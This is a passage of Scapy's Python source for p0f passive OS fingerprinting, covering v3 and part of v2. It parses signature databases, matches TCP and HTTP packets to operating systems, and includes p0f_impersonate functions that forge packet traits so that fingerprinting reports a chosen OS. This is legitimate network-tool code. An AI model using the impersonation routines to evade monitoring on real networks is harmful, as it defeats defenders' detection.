crlfcrlfIndex != -1: headers = http_payload[:crlfcrlfIndex + len(crlfcrlf)] else: headers = http_payload headers = headers.decode() # XXX: Check if this could fail first_line, headers = headers.split("\r\n", 1) if "1.0" in first_line: http_ver = 0 elif "1.1" in first_line: http_ver = 1 else: raise ValueError("HTTP version is not 1.0/1.1") sw = "" headers_found = [] hdr_set = set() for header_line in headers.split("\r\n"): name, _, value = header_line.partition(":") if value: value = value.strip() headers_found.append((name, value)) hdr_set.add(name) if name in ("User-Agent", "Server"): sw = value hdr = tuple(headers_found) return cls(http_ver, hdr, hdr_set, None, sw) @classmethod def from_raw_sig(cls, sig_line): """ Parses an HTTP sig line and returns a HTTP_Signature object """ ver, horder, habsent, expsw = lparse(sig_line, 4) http_ver = -1 if ver == "*" else int(ver) # horder parsing - split by commas that aren't in [] new_horder = [] for header in re.split(r",(?![^\[]*\])", horder): name, _, value = header.partition("=") if name[0] == "?": # Optional header new_horder.append((name[1:], value[1:-1], True)) else: new_horder.append((name, value[1:-1], False)) hdr = tuple(new_horder) hdr_set = frozenset(header[0] for header in hdr if not header[2]) habsent = frozenset(habsent.split(",")) return cls(http_ver, hdr, hdr_set, habsent, expsw) def __str__(self): # values that depend on the context are not included in the string skipval = ("Host", "User-Agent", "Date", "Content-Type", "Server") hdr = ",".join(n if n in skipval else "%s=[%s]" % (n, v) for n, v in self.hdr) # noqa: E501 fmt = "%i:%s::%s" s = fmt % (self.http_ver, hdr, self.sw) return s # Records class MTU_Record(object): __slots__ = ["label_id", "mtu"] def __init__(self, label_id, sig_line): self.label_id = label_id self.mtu = int(sig_line) class TCP_Record(object): __slots__ = ["label_id", "bad_ttl", "sig"] def __init__(self, label_id, sig_line): self.label_id = label_id sig, bad_ttl = TCP_Signature.from_raw_sig(sig_line) self.bad_ttl = bad_ttl self.sig = sig class HTTP_Record(object): __slots__ = ["label_id", "sig"] def __init__(self, label_id, sig_line): self.label_id = label_id self.sig = HTTP_Signature.from_raw_sig(sig_line) class p0fKnowledgeBase(KnowledgeBase): """ .. code:: self.base = { "mtu" (str): [sig(tuple), ...] "tcp"/"http" (str): { direction (str): [sig(tuple), ...] } } self.labels = (label(tuple), ...) """ def lazy_init(self): try: f = open(self.filename) except Exception: warning("Can't open base %s", self.filename) return self.base = {} self.labels = [] self._parse_file(f) self.labels = tuple(self.labels) f.close() def _parse_file(self, file): """ Parses p0f.fp file and stores the data with described structures. """ label_id = -1 for line in file: if line[0] in (";", "\n"): continue line = line.strip() if line[0] == "[": section, direction = lparse(line[1:-1], 2) if section == "mtu": self.base[section] = [] curr_records = self.base[section] else: if section not in self.base: self.base[section] = {direction: []} elif direction not in self.base[section]: self.base[section][direction] = [] curr_records = self.base[section][direction] else: param, _, val = line.partition(" = ") param = param.strip() if param == "sig": if section == "mtu": record_class = MTU_Record elif section == "tcp": record_class = TCP_Record elif section == "http": record_class = HTTP_Record curr_records.append(record_class(label_id, val)) elif param == "label": label_id += 1 if section == "mtu": self.labels.append(val) continue # label = type:class:name:flavor t, c, name, flavor = lparse(val, 4) self.labels.append((t, c, name, flavor)) elif param == "sys": sys_names = tuple(name for name in val.split(",")) self.labels[label_id] += (sys_names,) def get_sigs_by_os(self, direction, osgenre, osdetails=None): """Get TCP signatures that match an OS genre and details (if specified). If osdetails isn't specified, then we pick all signatures that match osgenre. Examples: >>> p0fdb.get_sigs_by_os("request", "Linux", "2.6") >>> p0fdb.get_sigs_by_os("response", "Windows", "8") >>> p0fdb.get_sigs_by_os("request", "FreeBSD") """ sigs = [] for tcp_record in self.base["tcp"][direction]: label = self.labels[tcp_record.label_id] name, flavor = label[2], label[3] if osgenre and osgenre == name: if osdetails: if osdetails in flavor: sigs.append(tcp_record.sig) else: sigs.append(tcp_record.sig) return sigs def tcp_find_match(self, ts, direction): """ Finds the best match for the given signature and direction. If a match is found, returns a tuple consisting of: - label: the matched label - dist: guessed distance from the packet source - fuzzy: whether the match is fuzzy Returns None if no match was found """ win_multi, use_mtu = detect_win_multi(ts) gmatch = None # generic match fmatch = None # fuzzy match for tcp_record in self.base["tcp"][direction]: rs = tcp_record.sig fuzzy = False ref_quirks = rs.quirks if rs.olayout != ts.olayout: continue if rs.ip_ver == -1: ref_quirks -= {"flow"} if ts.ip_ver == 4 else {"df", "id+", "id-"} # noqa: E501 if ref_quirks != ts.quirks: deleted = (ref_quirks ^ ts.quirks) & ref_quirks added = (ref_quirks ^ ts.quirks) & ts.quirks if (fmatch or (deleted - {"df", "id+"}) or (added - {"id-", "ecn"})): # noqa: E501 continue fuzzy = True if rs.ip_opt_len != ts.ip_opt_len: continue if tcp_record.bad_ttl: if rs.ttl < ts.ttl: continue else: if rs.ttl < ts.ttl or rs.ttl - ts.ttl > MAX_DIST: fuzzy = True if ((rs.mss != -1 and rs.mss != ts.mss) or (rs.wscale != -1 and rs.wscale != ts.wscale) or (rs.pay_class != -1 and rs.pay_class != ts.pay_class)): continue if rs.win_type == WIN_TYPE_NORMAL: if rs.win != ts.win: continue elif rs.win_type == WIN_TYPE_MOD: if ts.win % rs.win: continue elif rs.win_type == WIN_TYPE_MSS: if (use_mtu or rs.win != win_multi): continue elif rs.win_type == WIN_TYPE_MTU: if (not use_mtu or rs.win != win_multi): continue # Got a match? If not fuzzy, return. If fuzzy, keep looking. label = self.labels[tcp_record.label_id] match = (label, rs.ttl - ts.ttl, fuzzy) if not fuzzy: if label[0] == "s": return match elif not gmatch: gmatch = match elif not fmatch: fmatch = match if gmatch: return gmatch if fmatch: return fmatch return None def http_find_match(self, ts, direction): """ Finds the best match for the given signature and direction. If a match is found, returns a tuple consisting of: - label: the matched label - dishonest: whether the software was detected as dishonest Returns None if no match was found """ gmatch = None # generic match for http_record in self.base["http"][direction]: rs = http_record.sig if rs.http_ver != -1 and rs.http_ver != ts.http_ver: continue # Check that all non-optional headers appear in the packet if not (ts.hdr_set & rs.hdr_set) == rs.hdr_set: continue # Check that no forbidden headers appear in the packet. if len(rs.habsent & ts.hdr_set) > 0: continue def headers_correl(): phi = 0 # Packet HTTP header index hdr_len = len(ts.hdr) # Confirm the ordering and values of headers # (this is relatively slow, hence the if statements above). # The algorithm is derived from the original p0f/fp_http.c for kh in rs.hdr: orig_phi = phi while (phi < hdr_len and kh[0] != ts.hdr[phi][0]): phi += 1 if phi == hdr_len: if not kh[2]: return False for ph in ts.hdr: if kh[0] == ph[0]: return False phi = orig_phi continue if kh[1] not in ts.hdr[phi][1]: return False phi += 1 return True if not headers_correl(): continue # Got a match label = self.labels[http_record.label_id] dishonest = rs.sw and ts.sw and rs.sw not in ts.sw match = (label, dishonest) if label[0] == "s": return match elif not gmatch: gmatch = match return gmatch if gmatch else None def mtu_find_match(self, mtu): """ Finds a match for the given MTU. If a match is found, returns the label string. Returns None if no match was found """ for mtu_record in self.base["mtu"]: if mtu == mtu_record.mtu: return self.labels[mtu_record.label_id] return None p0fdb = p0fKnowledgeBase(conf.p0f_base) def guess_dist(ttl): for ottl in (32, 64, 128, 255): if ttl <= ottl: return ottl - ttl def lparse(line, n, delimiter=":", default=""): """ Parsing of 'a:b:c:d:e' lines """ a = line.split(delimiter)[:n] for elt in a: yield elt for _ in range(n - len(a)): yield default def validate_packet(pkt): """ Validate that the packet is an IPv4/IPv6 and TCP packet. If the packet is valid, a copy is returned. If not, TypeError is raised. """ pkt = pkt.copy() valid = pkt.haslayer(TCP) and (pkt.haslayer(IP) or pkt.haslayer(IPv6)) if not valid: raise TypeError("Not a TCP/IP packet") return pkt def detect_win_multi(ts): """ Figure out if window size is a multiplier of MSS or MTU. Receives a TCP signature and returns the multiplier and whether mtu should be used """ mss = ts.mss win = ts.win if not win or mss < 100: return -1, False options = [ (mss, False), (1500 - MIN_TCP4, False), (1500 - MIN_TCP4 - 12, False), (mss + MIN_TCP4, True), (1500, True) ] if ts.ts1: options.append((mss - 12, False)) if ts.ip_ver == 6: options.append((1500 - MIN_TCP6, False)) options.append((1500 - MIN_TCP6 - 12, False)) options.append((mss + MIN_TCP6, True)) for div, use_mtu in options: if not win % div: return win / div, use_mtu return -1, False def packet2p0f(pkt): """ Returns a p0f signature of the packet, and the direction. Raises TypeError if the packet isn't valid for p0f """ pkt = validate_packet(pkt) pkt = pkt.__class__(raw(pkt)) if pkt[TCP].flags.S: if pkt[TCP].flags.A: direction = "response" else: direction = "request" sig = TCP_Signature.from_packet(pkt) elif pkt[TCP].payload: # XXX: guess_payload_class doesn't use any class related attributes pclass = HTTP().guess_payload_class(raw(pkt[TCP].payload)) if pclass == HTTPRequest: direction = "request" elif pclass == HTTPResponse: direction = "response" else: raise TypeError("Not an HTTP payload") sig = HTTP_Signature.from_packet(pkt) else: raise TypeError("Not a SYN, SYN/ACK, or HTTP packet") return sig, direction def fingerprint_mtu(pkt): """ Fingerprints the MTU based on the maximum segment size specified in TCP options. If a match was found, returns the label. If not returns None """ pkt = validate_packet(pkt) mss = 0 for name, value in pkt.payload.options: if name == "MSS": mss = value if not mss: return None mtu = (mss + MIN_TCP4) if pkt.version == 4 else (mss + MIN_TCP6) if not p0fdb.get_base(): warning("p0f base empty.") return None return p0fdb.mtu_find_match(mtu) def p0f(pkt): sig, direction = packet2p0f(pkt) if not p0fdb.get_base(): warning("p0f base empty.") return None if isinstance(sig, TCP_Signature): return p0fdb.tcp_find_match(sig, direction) else: return p0fdb.http_find_match(sig, direction) def prnp0f(pkt): """Calls p0f and prints a user-friendly output""" try: r = p0f(pkt) except Exception: return sig, direction = packet2p0f(pkt) is_tcp_sig = isinstance(sig, TCP_Signature) to_server = direction == "request" if is_tcp_sig: pkt_type = "SYN" if to_server else "SYN+ACK" else: pkt_type = "HTTP Request" if to_server else "HTTP Response" res = pkt.sprintf(".-[ %IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% (" + pkt_type + ") ]-\n|\n") # noqa: E501 fields = [] def add_field(name, value): fields.append("| %-8s = %s\n" % (name, value)) cli_or_svr = "Client" if to_server else "Server" add_field(cli_or_svr, pkt.sprintf("%IP.src%:%TCP.sport%")) if r: label = r[0] app_or_os = "App" if label[1] == "!" else "OS" add_field(app_or_os, label[2] + " " + label[3]) if len(label) == 5: # label includes sys add_field("Sys", ", ".join(name for name in label[4])) if is_tcp_sig: add_field("Distance", r[1]) else: app_or_os = "OS" if is_tcp_sig else "App" add_field(app_or_os, "UNKNOWN") add_field("Raw sig", str(sig)) res += "".join(fields) res += "`____\n" print(res) def p0f_impersonate(pkt, osgenre=None, osdetails=None, signature=None, extrahops=0, mtu=1500, uptime=None): """ Modifies pkt so that p0f will think it has been sent by a specific OS. Either osgenre or signature is required to impersonate. If signature is specified (as a raw string), we use the signature. signature format:: "ip_ver:ttl:ip_opt_len:mss:window,wscale:opt_layout:quirks:pay_class" If osgenre is specified, we randomly pick a signature with a label that matches osgenre (and osdetails, if specified). Note: osgenre is case sensitive ("linux" -> "Linux" etc.), and osdetails is a substring of a label flavor ("7", "8" and "7 or 8" will all match the label "s:win:Windows:7 or 8") For now, only TCP SYN/SYN+ACK packets are supported. """ pkt = validate_packet(pkt) if not osgenre and not signature: raise ValueError("osgenre or signature is required to impersonate!") tcp = pkt[TCP] tcp_type = tcp.flags & (0x02 | 0x10) # SYN / SYN+ACK if signature: if isinstance(signature, str): sig, _ = TCP_Signature.from_raw_sig(signature) else: raise TypeError("Unsupported signature type") else: if not p0fdb.get_base(): sigs = [] else: direction = "request" if tcp_type == 0x02 else "response" sigs = p0fdb.get_sigs_by_os(direction, osgenre, osdetails) # If IPv6 packet, remove IPv4-only signatures and vice versa sigs = [s for s in sigs if s.ip_ver == -1 or s.ip_ver == pkt.version] if not sigs: raise ValueError("No match in the p0f database") sig = random.choice(sigs) if sig.ip_ver != -1 and pkt.version != sig.ip_ver: raise ValueError("Can't convert between IPv4 and IPv6") quirks = sig.quirks if pkt.version == 4: pkt.ttl = sig.ttl - extrahops if sig.ip_opt_len != 0: # FIXME: Non-zero IPv4 options not handled warning("Unhandled IPv4 option field") else: pkt.options = [] if "df" in quirks: pkt.flags |= 0x02 # set DF flag if "id+" in quirks: if pkt.id == 0: pkt.id = random.randint(1, 2**16 - 1) else: pkt.id = 0 else: pkt.flags &= ~(0x02) # DF flag not set if "id-" in quirks: pkt.id = 0 elif pkt.id == 0: pkt.id = random.randint(1, 2**16 - 1) if "ecn" in quirks: pkt.tos |= random.randint(0x01, 0x03) pkt.flags = pkt.flags | 0x04 if "0+" in quirks else pkt.flags & ~(0x04) else: pkt.hlim = sig.ttl - extrahops if "flow" in quirks: pkt.fl = random.randint(1, 2**20 - 1) if "ecn" in quirks: pkt.tc |= random.randint(0x01, 0x03) # Take the options already set as "hints" to use in the new packet if we # can. we'll use the already-set values if they're valid integers. def int_only(val): return val if isinstance(val, int) else None orig_opts = dict(tcp.options) mss_hint = int_only(orig_opts.get("MSS")) ws_hint = int_only(orig_opts.get("WScale")) ts_hint = [int_only(o) for o in orig_opts.get("Timestamp", (None, None))] options = [] for opt in sig.olayout.split(","): if opt == "mss": # MSS might have a maximum size because of WIN_TYPE_MSS if sig.win_type == WIN_TYPE_MSS: maxmss = (2**16 - 1) // sig.win else: maxmss = (2**16 - 1) if sig.mss == -1: # wildcard mss if mss_hint and 0 <= mss_hint <= maxmss: options.append(("MSS", mss_hint)) else: # invalid hint, generate new value options.append(("MSS", random.randint(100, maxmss))) else: options.append(("MSS", sig.mss)) elif opt == "ws": if sig.wscale == -1: # wildcard wscale maxws = 2**8 if "exws" in quirks: # wscale > 14 if ws_hint and 14 < ws_hint < maxws: options.append(("WScale", ws_hint)) else: # invalid hint, generate new value > 14 options.append(("WScale", random.randint(15, maxws - 1))) # noqa: E501 else: if ws_hint and 0 <= ws_hint < maxws: options.append(("WScale", ws_hint)) else: # invalid hint, generate new value options.append(("WScale", RandByte())) else: options.append(("WScale", sig.wscale)) elif opt == "ts": ts1, ts2 = ts_hint if "ts1-" in quirks: # own timestamp specified as zero ts1 = 0 elif uptime is not None: # if specified uptime, override ts1 = uptime elif ts1 is None or not (0 < ts1 < 2**32): # invalid hint ts1 = random.randint(120, 100 * 60 * 60 * 24 * 365) # non-zero peer timestamp on initial SYN if "ts2+" in quirks and tcp_type == 0x02: if ts2 is None or not (0 < ts2 < 2**32): # invalid hint ts2 = random.randint(1, 2**32 - 1) else: ts2 = 0 options.append(("Timestamp", (ts1, ts2))) elif opt == "nop": options.append(("NOP", None)) elif opt == "sok": options.append(("SAckOK", "")) elif opt[:3] == "eol": options.append(("EOL", None)) # FIXME: opt+ quirk not handled if "opt+" in quirks: warning("Unhandled opt+ quirk") elif opt == "sack": # Randomize SAck value in range of 10 <= val <= 34 sack_len = random.choice([10, 18, 26, 34]) - 2 optstruct = "!%iI" % (sack_len // 4) rand_val = RandString(struct.calcsize(optstruct))._fix() options.append(("SAck", struct.unpack(optstruct, rand_val))) else: warning("Unhandled TCP option %s", opt) tcp.options = options if sig.win_type == WIN_TYPE_NORMAL: tcp.window = sig.win elif sig.win_type == WIN_TYPE_MSS: mss = [x for x in options if x[0] == "MSS"] if not mss: raise ValueError("TCP window value requires MSS, and MSS option not set") # noqa: E501 tcp.window = mss[0][1] * sig.win elif sig.win_type == WIN_TYPE_MOD: tcp.window = sig.win * random.randint(1, (2**16 - 1) // sig.win) elif sig.win_type == WIN_TYPE_MTU: tcp.window = mtu * sig.win elif sig.win_type == WIN_TYPE_ANY: tcp.window = RandShort() else: warning("Unhandled window size specification") if "seq-" in quirks: tcp.seq = 0 elif tcp.seq == 0: tcp.seq = random.randint(1, 2**32 - 1) if "ack+" in quirks: tcp.flags &= ~(0x10) # ACK flag not set if tcp.ack == 0: tcp.ack = random.randint(1, 2**32 - 1) elif "ack-" in quirks: tcp.flags |= 0x10 # ACK flag set tcp.ack = 0 if "uptr+" in quirks: tcp.flags &= ~(0x020) # URG flag not set if tcp.urgptr == 0: tcp.urgptr = random.randint(1, 2**16 - 1) elif "urgf+" in quirks: tcp.flags |= 0x020 # URG flag used tcp.flags = tcp.flags | 0x08 if "pushf+" in quirks else tcp.flags & ~(0x08) if sig.pay_class: # signature has payload if not tcp.payload: pkt /= conf.raw_layer(load=RandString(random.randint(1, 10))) else: tcp.payload = NoPayload() return pkt ================================================ FILE: scapy/modules/p0fv2.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Clone of p0f v2 passive OS fingerprinting """ import time import struct import os import socket import random from scapy.data import KnowledgeBase, select_path from scapy.config import conf from scapy.compat import raw from scapy.layers.inet import IP, TCP, TCPOptions from scapy.packet import NoPayload, Packet from scapy.error import warning, Scapy_Exception, log_runtime from scapy.volatile import RandInt, RandByte, RandNum, RandShort, RandString from scapy.sendrecv import sniff if conf.route is None: # unused import, only to initialize conf.route import scapy.route # noqa: F401 _p0fpaths = ["/etc/p0f", "/usr/share/p0f", "/opt/local"] conf.p0f_base = select_path(_p0fpaths, "p0f.fp") conf.p0fa_base = select_path(_p0fpaths, "p0fa.fp") conf.p0fr_base = select_path(_p0fpaths, "p0fr.fp") conf.p0fo_base = select_path(_p0fpaths, "p0fo.fp") ############### # p0f stuff # ############### # File format (according to p0f.fp) : # # wwww:ttt:D:ss:OOO...:QQ:OS:Details # # wwww - window size # ttt - initial TTL # D - don't fragment bit (0=unset, 1=set) # ss - overall SYN packet size # OOO - option value and order specification # QQ - quirks list # OS - OS genre # details - OS description class p0fKnowledgeBase(KnowledgeBase): def __init__(self, filename): KnowledgeBase.__init__(self, filename) # self.ttl_range=[255] def lazy_init(self): try: f = open(self.filename) except IOError: warning("Can't open base %s", self.filename) return try: self.base = [] for line in f: if line[0] in ["#", "\n"]: continue line = tuple(line.split(":")) if len(line) < 8: continue def a2i(x): if x.isdigit(): return int(x) return x li = [a2i(e) for e in line[1:4]] # if li[0] not in self.ttl_range: # self.ttl_range.append(li[0]) # self.ttl_range.sort() self.base.append((line[0], li[0], li[1], li[2], line[4], line[5], line[6], line[7][:-1])) except Exception: warning("Can't parse p0f database (new p0f version ?)") self.base = None f.close() p0f_kdb, p0fa_kdb, p0fr_kdb, p0fo_kdb = None, None, None, None def p0f_load_knowledgebases(): global p0f_kdb, p0fa_kdb, p0fr_kdb, p0fo_kdb p0f_kdb = p0fKnowledgeBase(conf.p0f_base) p0fa_kdb = p0fKnowledgeBase(conf.p0fa_base) p0fr_kdb = p0fKnowledgeBase(conf.p0fr_base) p0fo_kdb = p0fKnowledgeBase(conf.p0fo_base) p0f_load_knowledgebases() def p0f_selectdb(flags): # tested flags: S, R, A if flags & 0x16 == 0x2: # SYN return p0f_kdb elif flags & 0x16 == 0x12: # SYN/ACK return p0fa_kdb elif flags & 0x16 in [0x4, 0x14]: # RST RST/ACK return p0fr_kdb elif flags & 0x16 == 0x10: # ACK return p0fo_kdb else: return None def packet2p0f(pkt): pkt = pkt.copy() pkt = pkt.__class__(raw(pkt)) while pkt.haslayer(IP) and pkt.haslayer(TCP): pkt = pkt.getlayer(IP) if isinstance(pkt.payload, TCP): break pkt = pkt.payload if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP): raise TypeError("Not a TCP/IP packet") # if pkt.payload.flags & 0x7 != 0x02: #S,!F,!R # raise TypeError("Not a SYN or SYN/ACK packet") db = p0f_selectdb(pkt.payload.flags) # t = p0f_kdb.ttl_range[:] # t += [pkt.ttl] # t.sort() # ttl=t[t.index(pkt.ttl)+1] ttl = pkt.ttl ss = len(pkt) # from p0f/config.h : PACKET_BIG = 100 if ss > 100: if db == p0fr_kdb: # p0fr.fp: "Packet size may be wildcarded. The meaning of # wildcard is, however, hardcoded as 'size > # PACKET_BIG'" ss = '*' else: ss = 0 if db == p0fo_kdb: # p0fo.fp: "Packet size MUST be wildcarded." ss = '*' ooo = "" mss = -1 qqT = False qqP = False # qqBroken = False ilen = (pkt.payload.dataofs << 2) - 20 # from p0f.c for option in pkt.payload.options: ilen -= 1 if option[0] == "MSS": ooo += "M" + str(option[1]) + "," mss = option[1] # FIXME: qqBroken ilen -= 3 elif option[0] == "WScale": ooo += "W" + str(option[1]) + "," # FIXME: qqBroken ilen -= 2 elif option[0] == "Timestamp": if option[1][0] == 0: ooo += "T0," else: ooo += "T," if option[1][1] != 0: qqT = True ilen -= 9 elif option[0] == "SAckOK": ooo += "S," ilen -= 1 elif option[0] == "NOP": ooo += "N," elif option[0] == "EOL": ooo += "E," if ilen > 0: qqP = True else: if isinstance(option[0], str): ooo += "?%i," % TCPOptions[1][option[0]] else: ooo += "?%i," % option[0] # FIXME: ilen ooo = ooo[:-1] if ooo == "": ooo = "." win = pkt.payload.window if mss != -1: if mss != 0 and win % mss == 0: win = "S" + str(win / mss) elif win % (mss + 40) == 0: win = "T" + str(win / (mss + 40)) win = str(win) qq = "" if db == p0fr_kdb: if pkt.payload.flags & 0x10 == 0x10: # p0fr.fp: "A new quirk, 'K', is introduced to denote # RST+ACK packets" qq += "K" # The two next cases should also be only for p0f*r*, but although # it's not documented (or I have not noticed), p0f seems to # support the '0' and 'Q' quirks on any databases (or at the least # "classical" p0f.fp). if pkt.payload.seq == pkt.payload.ack: # p0fr.fp: "A new quirk, 'Q', is used to denote SEQ number # equal to ACK number." qq += "Q" if pkt.payload.seq == 0: # p0fr.fp: "A new quirk, '0', is used to denote packets # with SEQ number set to 0." qq += "0" if qqP: qq += "P" if pkt.id == 0: qq += "Z" if pkt.options != []: qq += "I" if pkt.payload.urgptr != 0: qq += "U" if pkt.payload.reserved != 0: qq += "X" if pkt.payload.ack != 0: qq += "A" if qqT: qq += "T" if db == p0fo_kdb: if pkt.payload.flags & 0x20 != 0: # U # p0fo.fp: "PUSH flag is excluded from 'F' quirk checks" qq += "F" else: if pkt.payload.flags & 0x28 != 0: # U or P qq += "F" if db != p0fo_kdb and not isinstance(pkt.payload.payload, NoPayload): # p0fo.fp: "'D' quirk is not checked for." qq += "D" # FIXME : "!" - broken options segment: not handled yet if qq == "": qq = "." return (db, (win, ttl, pkt.flags.DF, ss, ooo, qq)) def p0f_correl(x, y): d = 0 # wwww can be "*" or "%nn". "Tnn" and "Snn" should work fine with # the x[0] == y[0] test. d += (x[0] == y[0] or y[0] == "*" or (y[0][0] == "%" and x[0].isdigit() and (int(x[0]) % int(y[0][1:])) == 0)) # noqa: E501 # ttl d += (y[1] >= x[1] and y[1] - x[1] < 32) for i in [2, 5]: d += (x[i] == y[i] or y[i] == '*') # '*' has a special meaning for ss d += x[3] == y[3] xopt = x[4].split(",") yopt = y[4].split(",") if len(xopt) == len(yopt): same = True for i in range(len(xopt)): if not (xopt[i] == yopt[i] or (len(yopt[i]) == 2 and len(xopt[i]) > 1 and yopt[i][1] == "*" and xopt[i][0] == yopt[i][0]) or (len(yopt[i]) > 2 and len(xopt[i]) > 1 and yopt[i][1] == "%" and xopt[i][0] == yopt[i][0] and int(xopt[i][1:]) % int(yopt[i][2:]) == 0)): same = False break if same: d += len(xopt) return d @conf.commands.register def p0f(pkt): """Passive OS fingerprinting: which OS emitted this TCP packet ? p0f(packet) -> accuracy, [list of guesses] """ db, sig = packet2p0f(pkt) if db: pb = db.get_base() else: pb = [] if not pb: warning("p0f base empty.") return [] # s = len(pb[0][0]) r = [] max = len(sig[4].split(",")) + 5 for b in pb: d = p0f_correl(sig, b) if d == max: r.append((b[6], b[7], b[1] - pkt[IP].ttl)) return r def prnp0f(pkt): """Calls p0f and returns a user-friendly output""" # we should print which DB we use try: r = p0f(pkt) except Exception: return if r == []: r = ("UNKNOWN", "[" + ":".join(map(str, packet2p0f(pkt)[1])) + ":?:?]", None) # noqa: E501 else: r = r[0] uptime = None try: uptime = pkt2uptime(pkt) except Exception: pass if uptime == 0: uptime = None res = pkt.sprintf("%IP.src%:%TCP.sport% - " + r[0] + " " + r[1]) if uptime is not None: res += pkt.sprintf(" (up: " + str(uptime / 3600) + " hrs)\n -> %IP.dst%:%TCP.dport% (%TCP.flags%)") # noqa: E501 else: res += pkt.sprintf("\n -> %IP.dst%:%TCP.dport% (%TCP.flags%)") if r[2] is not None: res += " (distance " + str(r[2]) + ")" print(res) @conf.commands.register def pkt2uptime(pkt, HZ=100): """Calculate the date the machine which emitted the packet booted using TCP timestamp # noqa: E501 pkt2uptime(pkt, [HZ=100])""" if not isinstance(pkt, Packet): raise TypeError("Not a TCP packet") if isinstance(pkt, NoPayload): raise TypeError("Not a TCP packet") if not isinstance(pkt, TCP): return pkt2uptime(pkt.payload) for opt in pkt.options: if opt[0] == "Timestamp": # t = pkt.time - opt[1][0] * 1.0/HZ # return time.ctime(t) t = opt[1][0] / HZ return t raise TypeError("No timestamp option") def p0f_impersonate(pkt, osgenre=None, osdetails=None, signature=None, extrahops=0, mtu=1500, uptime=None): """Modifies pkt so that p0f will think it has been sent by a specific OS. If osdetails is None, then we randomly pick up a personality matching osgenre. If osgenre and signature are also None, we use a local signature (using p0f_getlocalsigs). If signature is specified (as a tuple), we use the signature. For now, only TCP Syn packets are supported. Some specifications of the p0f.fp file are not (yet) implemented.""" pkt = pkt.copy() # pkt = pkt.__class__(raw(pkt)) while pkt.haslayer(IP) and pkt.haslayer(TCP): pkt = pkt.getlayer(IP) if isinstance(pkt.payload, TCP): break pkt = pkt.payload if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP): raise TypeError("Not a TCP/IP packet") db = p0f_selectdb(pkt.payload.flags) if osgenre: pb = db.get_base() if pb is None: pb = [] pb = [x for x in pb if x[6] == osgenre] if osdetails: pb = [x for x in pb if x[7] == osdetails] elif signature: pb = [signature] else: pb = p0f_getlocalsigs()[db] if db == p0fr_kdb: # 'K' quirk <=> RST+ACK if pkt.payload.flags & 0x4 == 0x4: pb = [x for x in pb if 'K' in x[5]] else: pb = [x for x in pb if 'K' not in x[5]] if not pb: raise Scapy_Exception("No match in the p0f database") pers = pb[random.randint(0, len(pb) - 1)] # options (we start with options because of MSS) # Take the options already set as "hints" to use in the new packet if we # can. MSS, WScale and Timestamp can all be wildcarded in a signature, so # we'll use the already-set values if they're valid integers. orig_opts = dict(pkt.payload.options) int_only = lambda val: val if isinstance(val, int) else None mss_hint = int_only(orig_opts.get('MSS')) wscale_hint = int_only(orig_opts.get('WScale')) ts_hint = [int_only(o) for o in orig_opts.get('Timestamp', (None, None))] options = [] if pers[4] != '.': for opt in pers[4].split(','): if opt[0] == 'M': # MSS might have a maximum size because of window size # specification if pers[0][0] == 'S': maxmss = (2**16 - 1) // int(pers[0][1:]) else: maxmss = (2**16 - 1) # disregard hint if out of range if mss_hint and not 0 <= mss_hint <= maxmss: mss_hint = None # If we have to randomly pick up a value, we cannot use # scapy RandXXX() functions, because the value has to be # set in case we need it for the window size value. That's # why we use random.randint() if opt[1:] == '*': if mss_hint is not None: options.append(('MSS', mss_hint)) else: options.append(('MSS', random.randint(1, maxmss))) elif opt[1] == '%': coef = int(opt[2:]) if mss_hint is not None and mss_hint % coef == 0: options.append(('MSS', mss_hint)) else: options.append(( 'MSS', coef * random.randint(1, maxmss // coef))) else: options.append(('MSS', int(opt[1:]))) elif opt[0] == 'W': if wscale_hint and not 0 <= wscale_hint < 2**8: wscale_hint = None if opt[1:] == '*': if wscale_hint is not None: options.append(('WScale', wscale_hint)) else: options.append(('WScale', RandByte())) elif opt[1] == '%': coef = int(opt[2:]) if wscale_hint is not None and wscale_hint % coef == 0: options.append(('WScale', wscale_hint)) else: options.append(( 'WScale', coef * RandNum(min=1, max=(2**8 - 1) // coef))) # noqa: E501 else: options.append(('WScale', int(opt[1:]))) elif opt == 'T0': options.append(('Timestamp', (0, 0))) elif opt == 'T': # Determine first timestamp. if uptime is not None: ts_a = uptime elif ts_hint[0] and 0 < ts_hint[0] < 2**32: # Note: if first ts is 0, p0f registers it as "T0" not "T", # hence we don't want to use the hint if it was 0. ts_a = ts_hint[0] else: ts_a = random.randint(120, 100 * 60 * 60 * 24 * 365) # Determine second timestamp. if 'T' not in pers[5]: ts_b = 0 elif ts_hint[1] and 0 < ts_hint[1] < 2**32: ts_b = ts_hint[1] else: # FIXME: RandInt() here does not work (bug (?) in # TCPOptionsField.m2i often raises "OverflowError: # long int too large to convert to int" in: # oval = struct.pack(ofmt, *oval)" # Actually, this is enough to often raise the error: # struct.pack('I', RandInt()) ts_b = random.randint(1, 2**32 - 1) options.append(('Timestamp', (ts_a, ts_b))) elif opt == 'S': options.append(('SAckOK', '')) elif opt == 'N': options.append(('NOP', None)) elif opt == 'E': options.append(('EOL', None)) elif opt[0] == '?': if int(opt[1:]) in TCPOptions[0]: optname = TCPOptions[0][int(opt[1:])][0] optstruct = TCPOptions[0][int(opt[1:])][1] options.append((optname, struct.unpack(optstruct, RandString(struct.calcsize(optstruct))._fix()))) # noqa: E501 else: options.append((int(opt[1:]), '')) # FIXME: qqP not handled else: warning("unhandled TCP option %s", opt) pkt.payload.options = options # window size if pers[0] == '*': pkt.payload.window = RandShort() elif pers[0].isdigit(): pkt.payload.window = int(pers[0]) elif pers[0][0] == '%': coef = int(pers[0][1:]) pkt.payload.window = coef * RandNum(min=1, max=(2**16 - 1) // coef) elif pers[0][0] == 'T': pkt.payload.window = mtu * int(pers[0][1:]) elif pers[0][0] == 'S': # needs MSS set mss = [x for x in options if x[0] == 'MSS'] if not mss: raise Scapy_Exception("TCP window value requires MSS, and MSS option not set") # noqa: E501 pkt.payload.window = mss[0][1] * int(pers[0][1:]) else: raise Scapy_Exception('Unhandled window size specification') # ttl pkt.ttl = pers[1] - extrahops # DF flag pkt.flags |= (2 * pers[2]) # FIXME: ss (packet size) not handled (how ? may be with D quirk # if present) # Quirks if pers[5] != '.': for qq in pers[5]: # FIXME: not handled: P, I, X, ! # T handled with the Timestamp option if qq == 'Z': pkt.id = 0 elif qq == 'U': pkt.payload.urgptr = RandShort() elif qq == 